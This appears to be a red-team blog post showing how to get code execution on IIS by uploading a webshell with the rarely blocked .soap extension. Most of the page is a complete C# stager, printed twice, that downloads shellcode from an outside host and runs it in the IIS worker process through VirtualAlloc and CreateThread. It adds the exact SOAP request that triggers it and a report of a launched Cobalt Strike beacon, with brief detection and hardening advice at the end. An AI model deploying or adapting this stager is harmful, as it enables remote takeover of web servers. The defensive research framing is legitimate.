@0xbad53c Github LinkedIn

IIS - SOAP

This page describes how to run shellcode from a webshell with a .soap extension. Sometimes web applications use upload blacklists and forget about this extension type.

TL;DR

Final proof of concept at https://github.com/0xbad53c/webshells/blob/main/iis/soapshell.soap

Introduction

During one of our regular Purple Team workshops, we focused around so-called edge attacks: techniques to acquire an initial foothold on an internet-facing device. For this particular session, we deployed 4 Windows and Linux machines. For every OS type, there was 1 test box without defenses and 3 others, each with a top-tier EDR solution installed.

The machines had various vulnerable services, such as IIS with ASP and unrestricted file upload, PHP applications with known vulnerabilities, a Java Spring app with the recently disclosed Spring4Shell issue and an application with a buffer overflow vulnerability.

The goal of the workshop was to identify gaps in the detection of the default configuration to strenghten our own defenses with custom rules and improve our toolset for during Red Team engagements. We employed various techniques to gain a foothold and collaborated closely with our internal Blue Team to analyze detections.

When checking our the IIS possibilities, we stumbled accross a SOAP handler, which appears to be a lesser-known vector to acquire a webshell on the target.

Discovery

Our journey begun with the discovery of the strange soap extension handler in the default ASP web.config. This means that the extension is likely enabled on any out of the box IIS installation with ASP support. The config file can be found at the path below:

C:\Windows\Microsoft.NET\Framework64\{Framework Version}\Config\Web.config

Two HTTP handlers immediately stood out. I never encountered these extensions in a web application before and it seemed quite strange for them to be enabled by default

<add path="*.rem" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False" />
<add path="*.soap" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False" />

You can also find these in the IIS Handler Mappings, as shown below.

Not much documentation of these extensions exist, so I decided to go for the trial and error approach by uploading a test file for each extension. Strangely enough, the .rem test file threw an error.

This can be verified by checking the Web.Config file again. Note how .rem does not have a build provider, but .soap does! Interesting fact: The build provider appeared to be the same as .asmx.

To verify this, I accessed the soap test file. There appeared to be an attempt to parse ASP - style code.

WebShell Development

As most offensive security folks know, time is limited and we do not want to reinvent the wheel. I went ahead and navigated my way through existing .soap and .asmx webshell samples. There appeared to be very limited proof of concepts. The two that stood out were basically almost the same code but different extensions.

Sadly, I could not get the above webshells to work in my lab environment. However, one could easily spot the structure and differences for both extensions from the samples. With this knowledge, I tried to build my own stager webshell implementation.

First, I declared the webservice to be parsed by the ASP engine.

<%@ WebService Language="C#" class="SoapStager"%>

Next, I imported the libraries I wanted to use in the stager.

using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;code

Followed by the webservice binding and namespace declaration.

[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]

More info at the following link:

Next, I defined the SoapStager class, which is an implementation of MarshalByRefObject. This is the main difference with the asmx extension.

public class SoapStager : MarshalByRefObject

The class begins with some unmanaged code imports, like VirtualAlloc and CreateThread to allocate executable memory and move the shellcode to a new thread of the webserver process (w3wp.exe)

{
	private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

Finally, I implemented the loadStage SOAP method to download raw shellcode from a local webserver via System.Net.webClient, allocate executable memory and copy the binary data to it. After this, the web method should create a new thread from the w3wp.exe IIS worker process via the CreateThread API call.

[System.ComponentModel.ToolboxItem(false)]
    [WebMethod]
    public string loadStage()
    {
        string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
        byte[] rzjUFlLZh;

        IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
        defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;

        // in case of HTTPS
        using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
        {
            ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
            webClient.UseDefaultCredentials = true;
            rzjUFlLZh = webClient.DownloadData(Url);
        }


        // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
        IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
        IntPtr owlqRoQI_ms = IntPtr.Zero;
        IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);

        return "finished"; //SOAP implementation requires a return value
    }
}

Code Execution

To verify if the shell worked, I uploaded it to an IIS webserver with unrestricted file upload. I chose to upload it as soap_final.soap.

Next, I accessed the newly uploaded page in the browser. This resulted in the following message, containing a link to the WSDL and loadStage method information:

At this point, the easiest way to build the correct soap request was to parse the WSDL XML automatically. In this case, I used BurpSuite's Wsdler extension. This was as easy as right clicking the request for the WSDL specification (add ?WSDL to the request to your uploaded SOAP file) and executing Extensions > Wsdler > Parse WSDL.

This resulted in a new entry in the Wsdler tab:

Finally, the SOAP request to execute the loadStage method was sent via Burp Repeater. HTTP Request:

POST //soap_final.soap HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.90.244.138:8888/soap_final.soap
Upgrade-Insecure-Requests: 1
SOAPAction: http://EC2AMAZ-2LD529D//SoapStager#loadStage
Content-Type: text/xml;charset=UTF-8
Host: 10.90.244.138:8888
Content-Length: 423

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:app="http://schemas.microsoft.com/clr/nsassem/SoapStager/App_Web_idg021ho">
   <soapenv:Header/>
   <soapenv:Body>
      <app:loadStage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
   </soapenv:Body>
</soapenv:Envelope>

Which resulted in the following HTTP Response, indicating successful execution:

In this case, a Cobalt Strike beacon successfully launched in w3wp.exe:

Full Proof of Concept

<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;


[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
	private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);


    [System.ComponentModel.ToolboxItem(false)]
    [WebMethod]
    public string loadStage()
    {
        string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
        byte[] rzjUFlLZh;

        IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
        defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;

        // in case of HTTPS
        using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
        {
            ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
            webClient.UseDefaultCredentials = true;
            rzjUFlLZh = webClient.DownloadData(Url);
        }


        // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
        IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
        IntPtr owlqRoQI_ms = IntPtr.Zero;
        IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);

        return "finished";
    }
}

Detections

We tested these against some of the top-tier EDRs and surprisingly, the detection rate appeared to be quite low out of the box. Though, there is no need for most web server processes to be writing/modifying .soap extension files. Adding a detection rule for this should therefore be quite trivial.

Additionally, there is little documentation to available for development of pages with this .soap extension. Therefore, there is no reason for it to be enabled by default. Harden your IIS configuration by disabling this in your web.config. Perhaps Microsoft can disable this in future IIS with ASP deployments?

PreviousWebshellsNextMacro Attacks

Last updated